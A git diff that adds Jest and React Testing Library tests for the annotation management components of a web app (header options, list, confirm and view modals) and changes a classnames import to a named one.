+  fetchExportAnnotationList: jest.fn(),
+  clearAllAnnotations: jest.fn(),
+}))
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    plan: {
+      usage: { annotatedResponse: 0 },
+      total: { annotatedResponse: 10 },
+    },
+    enableBilling: false,
+  }),
+}))
+
+jest.mock('@/app/components/billing/annotation-full', () => ({
+  __esModule: true,
+  default: () => <div data-testid="annotation-full" />,
+}))
+
+type HeaderOptionsProps = ComponentProps<typeof HeaderOptions>
+
+const renderComponent = (
+  props: Partial<HeaderOptionsProps> = {},
+  locale: string = LanguagesSupported[0] as string,
+) => {
+  const defaultProps: HeaderOptionsProps = {
+    appId: 'test-app-id',
+    onAdd: jest.fn(),
+    onAdded: jest.fn(),
+    controlUpdateList: 0,
+    ...props,
+  }
+
+  return render(
+    <I18NContext.Provider
+      value={{
+        locale,
+        i18n: {},
+        setLocaleOnClient: jest.fn(),
+      }}
+    >
+      <HeaderOptions {...defaultProps} />
+    </I18NContext.Provider>,
+  )
+}
+
+const openOperationsPopover = async (user: ReturnType<typeof userEvent.setup>) => {
+  const trigger = document.querySelector('button.btn.btn-secondary') as HTMLButtonElement
+  expect(trigger).toBeTruthy()
+  await user.click(trigger)
+}
+
+const expandExportMenu = async (user: ReturnType<typeof userEvent.setup>) => {
+  await openOperationsPopover(user)
+  const exportLabel = await screen.findByText('appAnnotation.table.header.bulkExport')
+  const exportButton = exportLabel.closest('button') as HTMLButtonElement
+  expect(exportButton).toBeTruthy()
+  await user.click(exportButton)
+}
+
+const getExportButtons = async () => {
+  const csvLabel = await screen.findByText('CSV')
+  const jsonLabel = await screen.findByText('JSONL')
+  const csvButton = csvLabel.closest('button') as HTMLButtonElement
+  const jsonButton = jsonLabel.closest('button') as HTMLButtonElement
+  expect(csvButton).toBeTruthy()
+  expect(jsonButton).toBeTruthy()
+  return {
+    csvButton,
+    jsonButton,
+  }
+}
+
+const clickOperationAction = async (
+  user: ReturnType<typeof userEvent.setup>,
+  translationKey: string,
+) => {
+  const label = await screen.findByText(translationKey)
+  const button = label.closest('button') as HTMLButtonElement
+  expect(button).toBeTruthy()
+  await user.click(button)
+}
+
+const mockAnnotations: AnnotationItemBasic[] = [
+  {
+    question: 'Question 1',
+    answer: 'Answer 1',
+  },
+]
+
+const mockedFetchAnnotations = jest.mocked(fetchExportAnnotationList)
+const mockedClearAllAnnotations = jest.mocked(clearAllAnnotations)
+
+describe('HeaderOptions', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    jest.useRealTimers()
+    mockCSVDownloader.mockClear()
+    lastCSVDownloaderProps = undefined
+    mockedFetchAnnotations.mockResolvedValue({ data: [] })
+  })
+
+  it('should fetch annotations on mount and render enabled export actions when data exist', async () => {
+    mockedFetchAnnotations.mockResolvedValue({ data: mockAnnotations })
+    const user = userEvent.setup()
+    renderComponent()
+
+    await waitFor(() => {
+      expect(mockedFetchAnnotations).toHaveBeenCalledWith('test-app-id')
+    })
+
+    await expandExportMenu(user)
+
+    const { csvButton, jsonButton } = await getExportButtons()
+
+    expect(csvButton).not.toBeDisabled()
+    expect(jsonButton).not.toBeDisabled()
+
+    await waitFor(() => {
+      expect(lastCSVDownloaderProps).toMatchObject({
+        bom: true,
+        filename: 'annotations-en-US',
+        type: 'link',
+        data: [
+          ['Question', 'Answer'],
+          ['Question 1', 'Answer 1'],
+        ],
+      })
+    })
+  })
+
+  it('should disable export actions when there are no annotations', async () => {
+    const user = userEvent.setup()
+    renderComponent()
+
+    await expandExportMenu(user)
+
+    const { csvButton, jsonButton } = await getExportButtons()
+
+    expect(csvButton).toBeDisabled()
+    expect(jsonButton).toBeDisabled()
+
+    expect(lastCSVDownloaderProps).toMatchObject({
+      data: [['Question', 'Answer']],
+    })
+  })
+
+  it('should open the add annotation modal and forward the onAdd callback', async () => {
+    mockedFetchAnnotations.mockResolvedValue({ data: mockAnnotations })
+    const user = userEvent.setup()
+    const onAdd = jest.fn().mockResolvedValue(undefined)
+    renderComponent({ onAdd })
+
+    await waitFor(() => expect(mockedFetchAnnotations).toHaveBeenCalled())
+
+    await user.click(
+      screen.getByRole('button', { name: 'appAnnotation.table.header.addAnnotation' }),
+    )
+
+    await screen.findByText('appAnnotation.addModal.title')
+    const questionInput = screen.getByPlaceholderText('appAnnotation.addModal.queryPlaceholder')
+    const answerInput = screen.getByPlaceholderText('appAnnotation.addModal.answerPlaceholder')
+
+    await user.type(questionInput, 'Integration question')
+    await user.type(answerInput, 'Integration answer')
+    await user.click(screen.getByRole('button', { name: 'common.operation.add' }))
+
+    await waitFor(() => {
+      expect(onAdd).toHaveBeenCalledWith({
+        question: 'Integration question',
+        answer: 'Integration answer',
+      })
+    })
+  })
+
+  it('should allow bulk import through the batch modal', async () => {
+    const user = userEvent.setup()
+    const onAdded = jest.fn()
+    renderComponent({ onAdded })
+
+    await openOperationsPopover(user)
+    await clickOperationAction(user, 'appAnnotation.table.header.bulkImport')
+
+    expect(await screen.findByText('appAnnotation.batchModal.title')).toBeInTheDocument()
+    await user.click(
+      screen.getByRole('button', { name: 'appAnnotation.batchModal.cancel' }),
+    )
+    expect(onAdded).not.toHaveBeenCalled()
+  })
+
+  it('should trigger JSONL download with locale-specific filename', async () => {
+    mockedFetchAnnotations.mockResolvedValue({ data: mockAnnotations })
+    const user = userEvent.setup()
+    const originalCreateElement = document.createElement.bind(document)
+    const anchor = originalCreateElement('a') as HTMLAnchorElement
+    const clickSpy = jest.spyOn(anchor, 'click').mockImplementation(jest.fn())
+    const createElementSpy = jest
+      .spyOn(document, 'createElement')
+      .mockImplementation((tagName: Parameters<Document['createElement']>[0]) => {
+        if (tagName === 'a')
+          return anchor
+        return originalCreateElement(tagName)
+      })
+    const objectURLSpy = jest
+      .spyOn(URL, 'createObjectURL')
+      .mockReturnValue('blob://mock-url')
+    const revokeSpy = jest.spyOn(URL, 'revokeObjectURL').mockImplementation(jest.fn())
+
+    renderComponent({}, LanguagesSupported[1] as string)
+
+    await expandExportMenu(user)
+
+    await waitFor(() => expect(mockCSVDownloader).toHaveBeenCalled())
+
+    const { jsonButton } = await getExportButtons()
+    await user.click(jsonButton)
+
+    expect(createElementSpy).toHaveBeenCalled()
+    expect(anchor.download).toBe(`annotations-${LanguagesSupported[1]}.jsonl`)
+    expect(clickSpy).toHaveBeenCalled()
+    expect(revokeSpy).toHaveBeenCalledWith('blob://mock-url')
+
+    const blobArg = objectURLSpy.mock.calls[0][0] as Blob
+    await expect(blobArg.text()).resolves.toContain('"Question 1"')
+
+    clickSpy.mockRestore()
+    createElementSpy.mockRestore()
+    objectURLSpy.mockRestore()
+    revokeSpy.mockRestore()
+  })
+
+  it('should clear all annotations when confirmation succeeds', async () => {
+    mockedClearAllAnnotations.mockResolvedValue(undefined)
+    const user = userEvent.setup()
+    const onAdded = jest.fn()
+    renderComponent({ onAdded })
+
+    await openOperationsPopover(user)
+    await clickOperationAction(user, 'appAnnotation.table.header.clearAll')
+
+    await screen.findByText('appAnnotation.table.header.clearAllConfirm')
+    const confirmButton = screen.getByRole('button', { name: 'common.operation.confirm' })
+    await user.click(confirmButton)
+
+    await waitFor(() => {
+      expect(mockedClearAllAnnotations).toHaveBeenCalledWith('test-app-id')
+      expect(onAdded).toHaveBeenCalled()
+    })
+  })
+
+  it('should handle clear all failures gracefully', async () => {
+    const consoleSpy = jest.spyOn(console, 'error').mockImplementation(jest.fn())
+    mockedClearAllAnnotations.mockRejectedValue(new Error('network'))
+    const user = userEvent.setup()
+    const onAdded = jest.fn()
+    renderComponent({ onAdded })
+
+    await openOperationsPopover(user)
+    await clickOperationAction(user, 'appAnnotation.table.header.clearAll')
+    await screen.findByText('appAnnotation.table.header.clearAllConfirm')
+    const confirmButton = screen.getByRole('button', { name: 'common.operation.confirm' })
+    await user.click(confirmButton)
+
+    await waitFor(() => {
+      expect(mockedClearAllAnnotations).toHaveBeenCalled()
+      expect(onAdded).not.toHaveBeenCalled()
+      expect(consoleSpy).toHaveBeenCalled()
+    })
+
+    consoleSpy.mockRestore()
+  })
+
+  it('should refetch annotations when controlUpdateList changes', async () => {
+    const view = renderComponent({ controlUpdateList: 0 })
+
+    await waitFor(() => expect(mockedFetchAnnotations).toHaveBeenCalledTimes(1))
+
+    view.rerender(
+      <I18NContext.Provider
+        value={{
+          locale: LanguagesSupported[0] as string,
+          i18n: {},
+          setLocaleOnClient: jest.fn(),
+        }}
+      >
+        <HeaderOptions
+          appId="test-app-id"
+          onAdd={jest.fn()}
+          onAdded={jest.fn()}
+          controlUpdateList={1}
+        />
+      </I18NContext.Provider>,
+    )
+
+    await waitFor(() => expect(mockedFetchAnnotations).toHaveBeenCalledTimes(2))
+  })
+})
diff --git a/web/app/components/app/annotation/header-opts/index.tsx b/web/app/components/app/annotation/header-opts/index.tsx
index 024f75867c..5f8ef658e7 100644
--- a/web/app/components/app/annotation/header-opts/index.tsx
+++ b/web/app/components/app/annotation/header-opts/index.tsx
@@ -17,7 +17,7 @@ import Button from '../../../base/button'
 import AddAnnotationModal from '../add-annotation-modal'
 import type { AnnotationItemBasic } from '../type'
 import BatchAddModal from '../batch-add-annotation-modal'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import CustomPopover from '@/app/components/base/popover'
 import { FileDownload02, FilePlus02 } from '@/app/components/base/icons/src/vender/line/files'
 import { ChevronRight } from '@/app/components/base/icons/src/vender/line/arrows'
diff --git a/web/app/components/app/annotation/index.spec.tsx b/web/app/components/app/annotation/index.spec.tsx
new file mode 100644
index 0000000000..4971f5173c
--- /dev/null
+++ b/web/app/components/app/annotation/index.spec.tsx
@@ -0,0 +1,233 @@
+import React from 'react'
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import Annotation from './index'
+import type { AnnotationItem } from './type'
+import { JobStatus } from './type'
+import { type App, AppModeEnum } from '@/types/app'
+import {
+  addAnnotation,
+  delAnnotation,
+  delAnnotations,
+  fetchAnnotationConfig,
+  fetchAnnotationList,
+  queryAnnotationJobStatus,
+} from '@/service/annotation'
+import { useProviderContext } from '@/context/provider-context'
+import Toast from '@/app/components/base/toast'
+
+jest.mock('@/app/components/base/toast', () => ({
+  __esModule: true,
+  default: { notify: jest.fn() },
+}))
+
+jest.mock('ahooks', () => ({
+  useDebounce: (value: any) => value,
+}))
+
+jest.mock('@/service/annotation', () => ({
+  addAnnotation: jest.fn(),
+  delAnnotation: jest.fn(),
+  delAnnotations: jest.fn(),
+  fetchAnnotationConfig: jest.fn(),
+  editAnnotation: jest.fn(),
+  fetchAnnotationList: jest.fn(),
+  queryAnnotationJobStatus: jest.fn(),
+  updateAnnotationScore: jest.fn(),
+  updateAnnotationStatus: jest.fn(),
+}))
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: jest.fn(),
+}))
+
+jest.mock('./filter', () => ({ children }: { children: React.ReactNode }) => (
+  <div data-testid="filter">{children}</div>
+))
+
+jest.mock('./empty-element', () => () => <div data-testid="empty-element" />)
+
+jest.mock('./header-opts', () => (props: any) => (
+  <div data-testid="header-opts">
+    <button data-testid="trigger-add" onClick={() => props.onAdd({ question: 'new question', answer: 'new answer' })}>
+      add
+    </button>
+  </div>
+))
+
+let latestListProps: any
+
+jest.mock('./list', () => (props: any) => {
+  latestListProps = props
+  if (!props.list.length)
+    return <div data-testid="list-empty" />
+  return (
+    <div data-testid="list">
+      <button data-testid="list-view" onClick={() => props.onView(props.list[0])}>view</button>
+      <button data-testid="list-remove" onClick={() => props.onRemove(props.list[0].id)}>remove</button>
+      <button data-testid="list-batch-delete" onClick={() => props.onBatchDelete()}>batch-delete</button>
+    </div>
+  )
+})
+
+jest.mock('./view-annotation-modal', () => (props: any) => {
+  if (!props.isShow)
+    return null
+  return (
+    <div data-testid="view-modal">
+      <div>{props.item.question}</div>
+      <button data-testid="view-modal-remove" onClick={props.onRemove}>remove</button>
+      <button data-testid="view-modal-close" onClick={props.onHide}>close</button>
+    </div>
+  )
+})
+
+jest.mock('@/app/components/base/pagination', () => () => <div data-testid="pagination" />)
+jest.mock('@/app/components/base/loading', () => () => <div data-testid="loading" />)
+jest.mock('@/app/components/base/features/new-feature-panel/annotation-reply/config-param-modal', () => (props: any) => props.isShow ? <div data-testid="config-modal" /> : null)
+jest.mock('@/app/components/billing/annotation-full/modal', () => (props: any) => props.show ? <div data-testid="annotation-full-modal" /> : null)
+
+const mockNotify = Toast.notify as jest.Mock
+const addAnnotationMock = addAnnotation as jest.Mock
+const delAnnotationMock = delAnnotation as jest.Mock
+const delAnnotationsMock = delAnnotations as jest.Mock
+const fetchAnnotationConfigMock = fetchAnnotationConfig as jest.Mock
+const fetchAnnotationListMock = fetchAnnotationList as jest.Mock
+const queryAnnotationJobStatusMock = queryAnnotationJobStatus as jest.Mock
+const useProviderContextMock = useProviderContext as jest.Mock
+
+const appDetail = {
+  id: 'app-id',
+  mode: AppModeEnum.CHAT,
+} as App
+
+const createAnnotation = (overrides: Partial<AnnotationItem> = {}): AnnotationItem => ({
+  id: overrides.id ?? 'annotation-1',
+  question: overrides.question ?? 'Question 1',
+  answer: overrides.answer ?? 'Answer 1',
+  created_at: overrides.created_at ?? 1700000000,
+  hit_count: overrides.hit_count ?? 0,
+})
+
+const renderComponent = () => render(<Annotation appDetail={appDetail} />)
+
+describe('Annotation', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    latestListProps = undefined
+    fetchAnnotationConfigMock.mockResolvedValue({
+      id: 'config-id',
+      enabled: false,
+      embedding_model: {
+        embedding_model_name: 'model',
+        embedding_provider_name: 'provider',
+      },
+      score_threshold: 0.5,
+    })
+    fetchAnnotationListMock.mockResolvedValue({ data: [], total: 0 })
+    queryAnnotationJobStatusMock.mockResolvedValue({ job_status: JobStatus.completed })
+    useProviderContextMock.mockReturnValue({
+      plan: {
+        usage: { annotatedResponse: 0 },
+        total: { annotatedResponse: 10 },
+      },
+      enableBilling: false,
+    })
+  })
+
+  it('should render empty element when no annotations are returned', async () => {
+    renderComponent()
+
+    expect(await screen.findByTestId('empty-element')).toBeInTheDocument()
+    expect(fetchAnnotationListMock).toHaveBeenCalledWith(appDetail.id, expect.objectContaining({
+      page: 1,
+      keyword: '',
+    }))
+  })
+
+  it('should handle annotation creation and refresh list data', async () => {
+    const annotation = createAnnotation()
+    fetchAnnotationListMock.mockResolvedValue({ data: [annotation], total: 1 })
+    addAnnotationMock.mockResolvedValue(undefined)
+
+    renderComponent()
+
+    await screen.findByTestId('list')
+    fireEvent.click(screen.getByTestId('trigger-add'))
+
+    await waitFor(() => {
+      expect(addAnnotationMock).toHaveBeenCalledWith(appDetail.id, { question: 'new question', answer: 'new answer' })
+      expect(mockNotify).toHaveBeenCalledWith(expect.objectContaining({
+        message: 'common.api.actionSuccess',
+        type: 'success',
+      }))
+    })
+    expect(fetchAnnotationListMock).toHaveBeenCalledTimes(2)
+  })
+
+  it('should support viewing items and running batch deletion success flow', async () => {
+    const annotation = createAnnotation()
+    fetchAnnotationListMock.mockResolvedValue({ data: [annotation], total: 1 })
+    delAnnotationsMock.mockResolvedValue(undefined)
+    delAnnotationMock.mockResolvedValue(undefined)
+
+    renderComponent()
+    await screen.findByTestId('list')
+
+    await act(async () => {
+      latestListProps.onSelectedIdsChange([annotation.id])
+    })
+    await waitFor(() => {
+      expect(latestListProps.selectedIds).toEqual([annotation.id])
+    })
+
+    await act(async () => {
+      await latestListProps.onBatchDelete()
+    })
+    await waitFor(() => {
+      expect(delAnnotationsMock).toHaveBeenCalledWith(appDetail.id, [annotation.id])
+      expect(mockNotify).toHaveBeenCalledWith(expect.objectContaining({
+        type: 'success',
+      }))
+      expect(latestListProps.selectedIds).toEqual([])
+    })
+
+    fireEvent.click(screen.getByTestId('list-view'))
+    expect(screen.getByTestId('view-modal')).toBeInTheDocument()
+
+    await act(async () => {
+      fireEvent.click(screen.getByTestId('view-modal-remove'))
+    })
+    await waitFor(() => {
+      expect(delAnnotationMock).toHaveBeenCalledWith(appDetail.id, annotation.id)
+    })
+  })
+
+  it('should show an error notification when batch deletion fails', async () => {
+    const annotation = createAnnotation()
+    fetchAnnotationListMock.mockResolvedValue({ data: [annotation], total: 1 })
+    const error = new Error('failed')
+    delAnnotationsMock.mockRejectedValue(error)
+
+    renderComponent()
+    await screen.findByTestId('list')
+
+    await act(async () => {
+      latestListProps.onSelectedIdsChange([annotation.id])
+    })
+    await waitFor(() => {
+      expect(latestListProps.selectedIds).toEqual([annotation.id])
+    })
+
+    await act(async () => {
+      await latestListProps.onBatchDelete()
+    })
+
+    await waitFor(() => {
+      expect(mockNotify).toHaveBeenCalledWith({
+        type: 'error',
+        message: error.message,
+      })
+      expect(latestListProps.selectedIds).toEqual([annotation.id])
+    })
+  })
+})
diff --git a/web/app/components/app/annotation/index.tsx b/web/app/components/app/annotation/index.tsx
index 32d0c799fc..2d639c91e4 100644
--- a/web/app/components/app/annotation/index.tsx
+++ b/web/app/components/app/annotation/index.tsx
@@ -25,7 +25,7 @@ import { sleep } from '@/utils'
 import { useProviderContext } from '@/context/provider-context'
 import AnnotationFullModal from '@/app/components/billing/annotation-full/modal'
 import { type App, AppModeEnum } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { delAnnotations } from '@/service/annotation'
 
 type Props = {
diff --git a/web/app/components/app/annotation/list.spec.tsx b/web/app/components/app/annotation/list.spec.tsx
new file mode 100644
index 0000000000..9f8d4c8855
--- /dev/null
+++ b/web/app/components/app/annotation/list.spec.tsx
@@ -0,0 +1,116 @@
+import React from 'react'
+import { fireEvent, render, screen, within } from '@testing-library/react'
+import List from './list'
+import type { AnnotationItem } from './type'
+
+const mockFormatTime = jest.fn(() => 'formatted-time')
+
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: () => ({
+    formatTime: mockFormatTime,
+  }),
+}))
+
+const createAnnotation = (overrides: Partial<AnnotationItem> = {}): AnnotationItem => ({
+  id: overrides.id ?? 'annotation-id',
+  question: overrides.question ?? 'question 1',
+  answer: overrides.answer ?? 'answer 1',
+  created_at: overrides.created_at ?? 1700000000,
+  hit_count: overrides.hit_count ?? 2,
+})
+
+const getCheckboxes = (container: HTMLElement) => container.querySelectorAll('[data-testid^="checkbox"]')
+
+describe('List', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('should render annotation rows and call onView when clicking a row', () => {
+    const item = createAnnotation()
+    const onView = jest.fn()
+
+    render(
+      <List
+        list={[item]}
+        onView={onView}
+        onRemove={jest.fn()}
+        selectedIds={[]}
+        onSelectedIdsChange={jest.fn()}
+        onBatchDelete={jest.fn()}
+        onCancel={jest.fn()}
+      />,
+    )
+
+    fireEvent.click(screen.getByText(item.question))
+
+    expect(onView).toHaveBeenCalledWith(item)
+    expect(mockFormatTime).toHaveBeenCalledWith(item.created_at, 'appLog.dateTimeFormat')
+  })
+
+  it('should toggle single and bulk selection states', () => {
+    const list = [createAnnotation({ id: 'a', question: 'A' }), createAnnotation({ id: 'b', question: 'B' })]
+    const onSelectedIdsChange = jest.fn()
+    const { container, rerender } = render(
+      <List
+        list={list}
+        onView={jest.fn()}
+        onRemove={jest.fn()}
+        selectedIds={[]}
+        onSelectedIdsChange={onSelectedIdsChange}
+        onBatchDelete={jest.fn()}
+        onCancel={jest.fn()}
+      />,
+    )
+
+    const checkboxes = getCheckboxes(container)
+    fireEvent.click(checkboxes[1])
+    expect(onSelectedIdsChange).toHaveBeenCalledWith(['a'])
+
+    rerender(
+      <List
+        list={list}
+        onView={jest.fn()}
+        onRemove={jest.fn()}
+        selectedIds={['a']}
+        onSelectedIdsChange={onSelectedIdsChange}
+        onBatchDelete={jest.fn()}
+        onCancel={jest.fn()}
+      />,
+    )
+    const updatedCheckboxes = getCheckboxes(container)
+    fireEvent.click(updatedCheckboxes[1])
+    expect(onSelectedIdsChange).toHaveBeenCalledWith([])
+
+    fireEvent.click(updatedCheckboxes[0])
+    expect(onSelectedIdsChange).toHaveBeenCalledWith(['a', 'b'])
+  })
+
+  it('should confirm before removing an annotation and expose batch actions', async () => {
+    const item = createAnnotation({ id: 'to-delete', question: 'Delete me' })
+    const onRemove = jest.fn()
+    render(
+      <List
+        list={[item]}
+        onView={jest.fn()}
+        onRemove={onRemove}
+        selectedIds={[item.id]}
+        onSelectedIdsChange={jest.fn()}
+        onBatchDelete={jest.fn()}
+        onCancel={jest.fn()}
+      />,
+    )
+
+    const row = screen.getByText(item.question).closest('tr') as HTMLTableRowElement
+    const actionButtons = within(row).getAllByRole('button')
+    fireEvent.click(actionButtons[1])
+
+    expect(await screen.findByText('appDebug.feature.annotation.removeConfirm')).toBeInTheDocument()
+    const confirmButton = await screen.findByRole('button', { name: 'common.operation.confirm' })
+    fireEvent.click(confirmButton)
+    expect(onRemove).toHaveBeenCalledWith(item.id)
+
+    expect(screen.getByText('appAnnotation.batchAction.selected')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/app/annotation/list.tsx b/web/app/components/app/annotation/list.tsx
index 4135b4362e..62a0c50e60 100644
--- a/web/app/components/app/annotation/list.tsx
+++ b/web/app/components/app/annotation/list.tsx
@@ -7,7 +7,7 @@ import type { AnnotationItem } from './type'
 import RemoveAnnotationConfirmModal from './remove-annotation-confirm-modal'
 import ActionButton from '@/app/components/base/action-button'
 import useTimestamp from '@/hooks/use-timestamp'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Checkbox from '@/app/components/base/checkbox'
 import BatchAction from './batch-action'
 
diff --git a/web/app/components/app/annotation/remove-annotation-confirm-modal/index.spec.tsx b/web/app/components/app/annotation/remove-annotation-confirm-modal/index.spec.tsx
new file mode 100644
index 0000000000..347ba7880b
--- /dev/null
+++ b/web/app/components/app/annotation/remove-annotation-confirm-modal/index.spec.tsx
@@ -0,0 +1,98 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import RemoveAnnotationConfirmModal from './index'
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        'appDebug.feature.annotation.removeConfirm': 'Remove annotation?',
+        'common.operation.confirm': 'Confirm',
+        'common.operation.cancel': 'Cancel',
+      }
+      return translations[key] || key
+    },
+  }),
+}))
+
+beforeEach(() => {
+  jest.clearAllMocks()
+})
+
+describe('RemoveAnnotationConfirmModal', () => {
+  // Rendering behavior driven by isShow and translations
+  describe('Rendering', () => {
+    test('should display the confirm modal when visible', () => {
+      // Arrange
+      render(
+        <RemoveAnnotationConfirmModal
+          isShow
+          onHide={jest.fn()}
+          onRemove={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('Remove annotation?')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'Cancel' })).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'Confirm' })).toBeInTheDocument()
+    })
+
+    test('should not render modal content when hidden', () => {
+      // Arrange
+      render(
+        <RemoveAnnotationConfirmModal
+          isShow={false}
+          onHide={jest.fn()}
+          onRemove={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.queryByText('Remove annotation?')).not.toBeInTheDocument()
+    })
+  })
+
+  // User interactions with confirm and cancel buttons
+  describe('Interactions', () => {
+    test('should call onHide when cancel button is clicked', () => {
+      const onHide = jest.fn()
+      const onRemove = jest.fn()
+      // Arrange
+      render(
+        <RemoveAnnotationConfirmModal
+          isShow
+          onHide={onHide}
+          onRemove={onRemove}
+        />,
+      )
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: 'Cancel' }))
+
+      // Assert
+      expect(onHide).toHaveBeenCalledTimes(1)
+      expect(onRemove).not.toHaveBeenCalled()
+    })
+
+    test('should call onRemove when confirm button is clicked', () => {
+      const onHide = jest.fn()
+      const onRemove = jest.fn()
+      // Arrange
+      render(
+        <RemoveAnnotationConfirmModal
+          isShow
+          onHide={onHide}
+          onRemove={onRemove}
+        />,
+      )
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: 'Confirm' }))
+
+      // Assert
+      expect(onRemove).toHaveBeenCalledTimes(1)
+      expect(onHide).not.toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/app/annotation/type.ts b/web/app/components/app/annotation/type.ts
index 5df6f51ace..e2f2264f07 100644
--- a/web/app/components/app/annotation/type.ts
+++ b/web/app/components/app/annotation/type.ts
@@ -12,6 +12,12 @@ export type AnnotationItem = {
   hit_count: number
 }
 
+export type AnnotationCreateResponse = AnnotationItem & {
+  account?: {
+    name?: string
+  }
+}
+
 export type HitHistoryItem = {
   id: string
   question: string
diff --git a/web/app/components/app/annotation/view-annotation-modal/index.spec.tsx b/web/app/components/app/annotation/view-annotation-modal/index.spec.tsx
new file mode 100644
index 0000000000..dec0ad0c01
--- /dev/null
+++ b/web/app/components/app/annotation/view-annotation-modal/index.spec.tsx
@@ -0,0 +1,158 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import ViewAnnotationModal from './index'
+import type { AnnotationItem, HitHistoryItem } from '../type'
+import { fetchHitHistoryList } from '@/service/annotation'
+
+const mockFormatTime = jest.fn(() => 'formatted-time')
+
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: () => ({
+    formatTime: mockFormatTime,
+  }),
+}))
+
+jest.mock('@/service/annotation', () => ({
+  fetchHitHistoryList: jest.fn(),
+}))
+
+jest.mock('../edit-annotation-modal/edit-item', () => {
+  const EditItemType = {
+    Query: 'query',
+    Answer: 'answer',
+  }
+  return {
+    __esModule: true,
+    default: ({ type, content, onSave }: { type: string; content: string; onSave: (value: string) => void }) => (
+      <div>
+        <div data-testid={`content-${type}`}>{content}</div>
+        <button data-testid={`edit-${type}`} onClick={() => onSave(`${type}-updated`)}>edit-{type}</button>
+      </div>
+    ),
+    EditItemType,
+  }
+})
+
+const fetchHitHistoryListMock = fetchHitHistoryList as jest.Mock
+
+const createAnnotationItem = (overrides: Partial<AnnotationItem> = {}): AnnotationItem => ({
+  id: overrides.id ?? 'annotation-id',
+  question: overrides.question ?? 'question',
+  answer: overrides.answer ?? 'answer',
+  created_at: overrides.created_at ?? 1700000000,
+  hit_count: overrides.hit_count ?? 0,
+})
+
+const createHitHistoryItem = (overrides: Partial<HitHistoryItem> = {}): HitHistoryItem => ({
+  id: overrides.id ?? 'hit-id',
+  question: overrides.question ?? 'query',
+  match: overrides.match ?? 'match',
+  response: overrides.response ?? 'response',
+  source: overrides.source ?? 'source',
+  score: overrides.score ?? 0.42,
+  created_at: overrides.created_at ?? 1700000000,
+})
+
+const renderComponent = (props?: Partial<React.ComponentProps<typeof ViewAnnotationModal>>) => {
+  const item = createAnnotationItem()
+  const mergedProps: React.ComponentProps<typeof ViewAnnotationModal> = {
+    appId: 'app-id',
+    isShow: true,
+    onHide: jest.fn(),
+    item,
+    onSave: jest.fn().mockResolvedValue(undefined),
+    onRemove: jest.fn().mockResolvedValue(undefined),
+    ...props,
+  }
+  return {
+    ...render(<ViewAnnotationModal {...mergedProps} />),
+    props: mergedProps,
+  }
+}
+
+describe('ViewAnnotationModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    fetchHitHistoryListMock.mockResolvedValue({ data: [], total: 0 })
+  })
+
+  it('should render annotation tab and allow saving updated query', async () => {
+    // Arrange
+    const { props } = renderComponent()
+
+    await waitFor(() => {
+      expect(fetchHitHistoryListMock).toHaveBeenCalled()
+    })
+
+    // Act
+    fireEvent.click(screen.getByTestId('edit-query'))
+
+    // Assert
+    await waitFor(() => {
+      expect(props.onSave).toHaveBeenCalledWith('query-updated', props.item.answer)
+    })
+  })
+
+  it('should render annotation tab and allow saving updated answer', async () => {
+    // Arrange
+    const { props } = renderComponent()
+
+    await waitFor(() => {
+      expect(fetchHitHistoryListMock).toHaveBeenCalled()
+    })
+
+    // Act
+    fireEvent.click(screen.getByTestId('edit-answer'))
+
+    // Assert
+    await waitFor(() => {
+      expect(props.onSave).toHaveBeenCalledWith(props.item.question, 'answer-updated')
+    },
+    )
+  })
+
+  it('should switch to hit history tab and show no data message', async () => {
+    // Arrange
+    const { props } = renderComponent()
+
+    await waitFor(() => {
+      expect(fetchHitHistoryListMock).toHaveBeenCalled()
+    })
+
+    // Act
+    fireEvent.click(screen.getByText('appAnnotation.viewModal.hitHistory'))
+
+    // Assert
+    expect(await screen.findByText('appAnnotation.viewModal.noHitHistory')).toBeInTheDocument()
+    expect(mockFormatTime).toHaveBeenCalledWith(props.item.created_at, 'appLog.dateTimeFormat')
+  })
+
+  it('should render hit history entries with pagination badge when data exists', async () => {
+    const hits = [createHitHistoryItem({ question: 'user input' }), createHitHistoryItem({ id: 'hit-2', question: 'second' })]
+    fetchHitHistoryListMock.mockResolvedValue({ data: hits, total: 15 })
+
+    renderComponent()
+
+    fireEvent.click(await screen.findByText('appAnnotation.viewModal.hitHistory'))
+
+    expect(await screen.findByText('user input')).toBeInTheDocument()
+    expect(screen.getByText('15 appAnnotation.viewModal.hits')).toBeInTheDocument()
+    expect(mockFormatTime).toHaveBeenCalledWith(hits[0].created_at, 'appLog.dateTimeFormat')
+  })
+
+  it('should confirm before removing the annotation and hide on success', async () => {
+    const { props } = renderComponent()
+
+    fireEvent.click(screen.getByText('appAnnotation.editModal.removeThisCache'))
+    expect(await screen.findByText('appDebug.feature.annotation.removeConfirm')).toBeInTheDocument()
+
+    const confirmButton = await screen.findByRole('button', { name: 'common.operation.confirm' })
+    fireEvent.click(confirmButton)
+
+    await waitFor(() => {
+      expect(props.onRemove).toHaveBeenCalledTimes(1)
+      expect(props.onHide).toHaveBeenCalledTimes(1)
+    })
+  })
+})
